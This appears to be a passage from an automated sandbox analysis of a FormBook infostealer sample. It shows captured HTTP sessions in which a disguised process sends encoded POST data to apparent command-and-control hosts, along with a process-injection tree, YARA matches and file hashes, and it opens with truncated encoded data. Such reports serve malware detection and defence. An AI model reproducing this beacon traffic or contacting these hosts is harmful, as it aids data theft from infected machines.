E2fH=tpmVIB2VoWl1WN9lSCtkc01OP6B2R9iKoIY8Pqa89Ogutr4dsOCJiz0unOL5zN9z2jX8dCqeiesV19gnVu+ZLASRL9tiq4UzzUkhtp+ysOzcLJMoV+J+qb4I2Al6FAGov+/UnOH7n/wTeZ0C2bSItfquW11tAZtl8DFSz1EYJHNPFIwGuBsgmBS3x2Sws3mvs8Tu3yoizT4px49T9TsNNcTuWmlN+69dZIZ0kPJyAULmyyrZdE33f5fMa895Gyj2E+SjhsG8fEPP729J6qy/VwkRPmz8AZHY8bibvCZcYCCY0kuKY5tuDLIfOKKkB9cGN8OxNnqDH09zBqj0nUty9wumalfz3YhRQFLvvUNUVybupiDMHWpuLVIK7QPvicryWMwsAiBtmizxkxV76XnlQN65BIk+qy3/5HsDz3AnKT+rC6lBd49Jqo8YFk8d6hVNKRPS5AvC5Dh8gnOXjKQBPckUZRjlpn8XPYPt/cJiEj3eRzsrRZBq/d4Qtykk0oN9EQ3Kpzjipqbm240CjFEs1vxkqNScd985vqa+Qci4V3BorOMsE6hab7EP+enCT2m2/Old/ilzUn1J+2oPDrqGPEON39jS2YvJ/fI36jqa4GCSzaCAxmySAhQDnshqS/erqyp8QC2vY+wLn2KBX+2yfTkDw/JbNp7wKjz/m10Pb9kXEG2CoEylgaJt3YAHzYbAq8uCpwvAmsmOukukKIKnxxPGcUZfctE7FIYqIymaF85pEBdTGHj/fLsNAL+mulm/YgXznjo8rBWqz0FGS/sVjEqAJMfsoFNCcjXyXRGkqMNlCQSTAP8QZnJsez4fEtu7LyjYc7AmK7OuPviV1YLQCEqTIJRA6m+yGeCVvhQyBjditVa98fgxteIG8yLmoWDUanFyWNKXv/cLkHfmAsbhlo1WnAXZrn1mXKSAtLVvSym4qBZqI8LRp4XlQnR3X8i0ifzR3Myw22Wrc9pt7fninYcIs+dNfzN7J81nJz2ImyqaMvS [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.11	50023	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:52.642258883 CET	510	OUT	GET /dm2x/?E2fH=grO1LxSDrmNOUN5ocyt3fDknYbpBReLynL52L47D0Lgkq4xUgfOqgzNwjeu1tfF12m3HUWvarONV4OYJXtmiDSOJK4Zfva4/2XQ2q5uVkpf0UftmUsZvzq8=&wZY4Z=9tG860z8qzo HTTP/1.1 Host: www.myplayamate.llc Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:52:53.254646063 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 11:52:53 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 45 32 66 48 3d 67 72 4f 31 4c 78 53 44 72 6d 4e 4f 55 4e 35 6f 63 79 74 33 66 44 6b 6e 59 62 70 42 52 65 4c 79 6e 4c 35 32 4c 34 37 44 30 4c 67 6b 71 34 78 55 67 66 4f 71 67 7a 4e 77 6a 65 75 31 74 66 46 31 32 6d 33 48 55 57 76 61 72 4f 4e 56 34 4f 59 4a 58 74 6d 69 44 53 4f 4a 4b 34 5a 66 76 61 34 2f 32 58 51 32 71 35 75 56 6b 70 66 30 55 66 74 6d 55 73 5a 76 7a 71 38 3d 26 77 5a 59 34 5a 3d 39 74 47 38 36 30 7a 38 71 7a 6f 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?E2fH=grO1LxSDrmNOUN5ocyt3fDknYbpBReLynL52L47D0Lgkq4xUgfOqgzNwjeu1tfF12m3HUWvarONV4OYJXtmiDSOJK4Zfva4/2XQ2q5uVkpf0UftmUsZvzq8=&wZY4Z=9tG860z8qzo"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.11	50024	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:58.310560942 CET	764	OUT	POST /u70o/ HTTP/1.1 Host: www.it2sp8.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.it2sp8.vip Referer: http://www.it2sp8.vip/u70o/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 201 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 45 79 45 30 2f 39 42 77 74 51 47 44 48 65 70 41 64 37 78 4e 67 6c 52 6f 68 55 58 46 31 7a 43 6c 49 78 47 49 49 34 72 49 47 55 67 71 53 50 74 6b 51 71 70 44 5a 78 2b 79 49 51 46 6a 67 63 46 6d 6a 46 37 39 58 33 77 78 45 7a 37 74 53 72 4a 45 45 62 4a 4a 71 4d 62 71 73 74 54 69 58 70 47 49 50 38 35 48 7a 4b 6e 78 74 55 50 4a 37 43 57 47 78 51 48 49 57 62 6c 59 39 78 78 70 51 32 63 74 33 4c 4e 59 62 54 35 58 4b 42 33 5a 69 36 57 47 4b 31 64 61 6a 58 67 50 6d 76 2b 30 7a 2b 79 64 4f 6f 58 55 4c 56 6e 43 79 76 31 4b 59 51 63 44 39 4d 7a 79 36 6b 33 4d 75 32 71 45 75 51 59 33 4b 77 3d 3d Data Ascii: E2fH=EyE0/9BwtQGDHepAd7xNglRohUXF1zClIxGII4rIGUgqSPtkQqpDZx+yIQFjgcFmjF79X3wxEz7tSrJEEbJJqMbqstTiXpGIP85HzKnxtUPJ7CWGxQHIWblY9xxpQ2ct3LNYbT5XKB3Zi6WGK1dajXgPmv+0z+ydOoXULVnCyv1KYQcD9Mzy6k3Mu2qEuQY3Kw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.11	50025	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:53:00.858715057 CET	784	OUT	POST /u70o/ HTTP/1.1 Host: www.it2sp8.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.it2sp8.vip Referer: http://www.it2sp8.vip/u70o/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 221 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 45 79 45 30 2f 39 42 77 74 51 47 44 47 2b 5a 41 62 63 6c 4e 70 6c 52 70 74 30 58 46 38 54 43 68 49 78 4b 49 49 39 54 59 47 6d 30 71 53 72 70 6b 58 76 46 44 65 78 2b 79 48 77 46 6d 74 38 46 68 6a 45 48 62 58 31 55 78 45 7a 76 74 53 70 68 45 48 6f 52 4f 73 63 62 73 34 64 54 67 61 4a 47 49 50 38 35 48 7a 4b 79 57 74 55 58 4a 37 79 6d 47 77 31 6e 58 4e 37 6c 62 30 52 78 70 42 6d 64 6b 33 4c 4e 36 62 53 6c 74 4b 44 2f 5a 69 36 47 47 4c 6b 64 64 6f 58 67 46 69 76 2b 6e 77 2f 6a 73 4b 37 57 30 43 48 6e 66 30 64 35 37 51 32 4e 5a 74 76 36 6c 35 33 2f 4f 36 51 4c 30 6e 68 39 2b 52 31 55 32 44 37 36 6f 62 4e 50 65 73 30 66 59 62 51 48 33 2f 45 6f 3d Data Ascii: E2fH=EyE0/9BwtQGDG+ZAbclNplRpt0XF8TChIxKII9TYGm0qSrpkXvFDex+yHwFmt8FhjEHbX1UxEzvtSphEHoROscbs4dTgaJGIP85HzKyWtUXJ7ymGw1nXN7lb0RxpBmdk3LN6bSltKD/Zi6GGLkddoXgFiv+nw/jsK7W0CHnf0d57Q2NZtv6l53/O6QL0nh9+R1U2D76obNPes0fYbQH3/Eo=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.11	50026	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:53:03.449078083 CET	1797	OUT	POST /u70o/ HTTP/1.1 Host: www.it2sp8.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.it2sp8.vip Referer: http://www.it2sp8.vip/u70o/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1233 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 45 79 45 30 2f 39 42 77 74 51 47 44 47 2b 5a 41 62 63 6c 4e 70 6c 52 70 74 30 58 46 38 54 43 68 49 78 4b 49 49 39 54 59 47 6d 4d 71 53 65 39 6b 58 49 52 44 66 78 2b 79 5a 67 46 6e 74 38 45 39 6a 45 66 66 58 31 70 45 45 33 66 74 41 61 5a 45 43 64 6c 4f 6c 63 62 73 36 64 54 68 58 70 48 43 50 38 70 44 7a 4b 69 57 74 55 58 4a 37 30 43 47 32 67 48 58 4b 4c 6c 59 39 78 78 74 51 32 63 42 33 4c 31 4c 62 53 51 51 4b 79 66 5a 69 62 32 47 4d 57 46 64 30 48 67 44 76 50 2f 36 77 2f 76 33 4b 37 4b 47 43 47 69 30 30 65 5a 37 54 51 41 76 34 74 4b 34 6e 6d 37 67 68 54 72 31 74 67 70 43 62 43 67 7a 4d 37 75 37 46 4a 61 50 70 33 61 39 65 42 44 37 72 77 62 5a 56 49 67 78 33 77 6c 4a 62 64 59 71 2f 39 30 63 6f 36 45 79 69 39 39 63 65 34 53 42 71 2b 49 39 55 69 73 50 6a 6f 55 74 54 4e 4d 51 79 4b 51 46 37 77 45 39 6b 37 59 6a 6c 2f 4a 78 38 2f 6f 6c 67 64 6f 34 33 55 6d 32 71 2f 64 74 62 41 6d 4e 4e 64 52 53 43 36 6a 6c 74 4d 53 6c 2f 57 4b 6f 55 78 59 76 59 37 77 38 4f 43 30 79 7a 4b 6c 4f 34 4e 52 5a 56 [TRUNCATED] Data Ascii: E2fH=EyE0/9BwtQGDG+ZAbclNplRpt0XF8TChIxKII9TYGmMqSe9kXIRDfx+yZgFnt8E9jEffX1pEE3ftAaZECdlOlcbs6dThXpHCP8pDzKiWtUXJ70CG2gHXKLlY9xxtQ2cB3L1LbSQQKyfZib2GMWFd0HgDvP/6w/v3K7KGCGi00eZ7TQAv4tK4nm7ghTr1tgpCbCgzM7u7FJaPp3a9eBD7rwbZVIgx3wlJbdYq/90co6Eyi99ce4SBq+I9UisPjoUtTNMQyKQF7wE9k7Yjl/Jx8/olgdo43Um2q/dtbAmNNdRSC6jltMSl/WKoUxYvY7w8OC0yzKlO4NRZVTYV3wpRWcZVmvuRbOW74p1t8s0BVCVI/RTM7urx1UrrN1qUCdM4F8QezZ3JzDjECXVkEA7ax5fa4UWmCLDVY+JnXmjSiXT2mt27se1GUqMdRACJya7m2OARmeRp1d4WG9SVAz6GzexeIR5Us9za2+/fG93yZT596LEeDVXWk0NlzSoMucSRl7j2mJlRoY/N+iSEFpP8g2LLZi9DuBvGKgWG7krc/pRuEBNr+A1mbDU2AAzMuAe+uyCmcZ2dKf5hkHOqloS9HkDCgOK/BHr9dLAQZCK44Y2gt6KjtdEZjdAyXTIe4r9k9AHb4FyVF4U4HC0epqhPWo312IRXH3xVhuSk8jcH/GZSUJiKhnOzHvONgC1YXl+7byz0S+6jX1vAvGN5rAH7it4aBFhKN5dWoNaHw5FVQhaAVcDWsokduZnH10o6BYzNY1/57OG05BWdvM9lNjA5L4JLSJtU/fqiif3NgkocdViPrjqgfD/DRa8WYEycL+990jwvWHQcA4HiXmD+GQNdWYd2vQdrifRstQ79J0A0K588UeltQO7eenWkxdrAg3JKKk+/M2+NR78ozKWFq9D+NcHAZCiIvpjIGB8/7lI//szETuWtwb1fkZaT6xGrv9dZOTMcFWKUaodn+0OUwTVWYzHj0zMMfKx1Rx5S+fFnHtHaapa [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.11	50027	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:53:05.999871016 CET	505	OUT	GET /u70o/?wZY4Z=9tG860z8qzo&E2fH=JwsU8I9SkjKHMoVkS85bnAJiw0PC8R6yLSvzNa+AEjIFSc4tS7Z2dBODPwkRq8FfsiXvcWwiJzvfCp1BJ4ZviqrX7a3aTO/4I/dN45SIrzTvyELXxXrhSsw= HTTP/1.1 Host: www.it2sp8.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:53:06.633133888 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 11:53:06 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 77 5a 59 34 5a 3d 39 74 47 38 36 30 7a 38 71 7a 6f 26 45 32 66 48 3d 4a 77 73 55 38 49 39 53 6b 6a 4b 48 4d 6f 56 6b 53 38 35 62 6e 41 4a 69 77 30 50 43 38 52 36 79 4c 53 76 7a 4e 61 2b 41 45 6a 49 46 53 63 34 74 53 37 5a 32 64 42 4f 44 50 77 6b 52 71 38 46 66 73 69 58 76 63 57 77 69 4a 7a 76 66 43 70 31 42 4a 34 5a 76 69 71 72 58 37 61 33 61 54 4f 2f 34 49 2f 64 4e 34 35 53 49 72 7a 54 76 79 45 4c 58 78 58 72 68 53 73 77 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?wZY4Z=9tG860z8qzo&E2fH=JwsU8I9SkjKHMoVkS85bnAJiw0PC8R6yLSvzNa+AEjIFSc4tS7Z2dBODPwkRq8FfsiXvcWwiJzvfCp1BJ4ZviqrX7a3aTO/4I/dN45SIrzTvyELXxXrhSsw="}</script></head></html>

Target ID:	3
Start time:	06:49:01
Start date:	07/11/2024
Path:	C:\Users\user\Desktop\3NvALxFlHV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\3NvALxFlHV.exe"
Imagebase:	0x400000
File size:	1'321'413 bytes
MD5 hash:	B652B9C9E678D19FFFDB000A07795D4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	7
Start time:	06:49:02
Start date:	07/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\3NvALxFlHV.exe"
Imagebase:	0x700000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.1605796151.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.1605796151.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.1612426641.0000000008EA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.1612426641.0000000008EA0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.1606404910.0000000005F90000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.1606404910.0000000005F90000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	06:49:26
Start date:	07/11/2024
Path:	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe"
Imagebase:	0xaf0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3747607666.0000000005580000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3747607666.0000000005580000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	06:49:28
Start date:	07/11/2024
Path:	C:\Windows\SysWOW64\openfiles.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\openfiles.exe"
Imagebase:	0xdc0000
File size:	60'416 bytes
MD5 hash:	50BD10A4C573E609A401114488299D3D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3747438658.0000000004D40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3747438658.0000000004D40000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3735188109.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3735188109.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3747679564.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3747679564.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	13
Start time:	06:49:41
Start date:	07/11/2024
Path:	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe"
Imagebase:	0xaf0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.3749884813.0000000004BC0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.3749884813.0000000004BC0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	14
Start time:	06:49:53
Start date:	07/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6de060000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true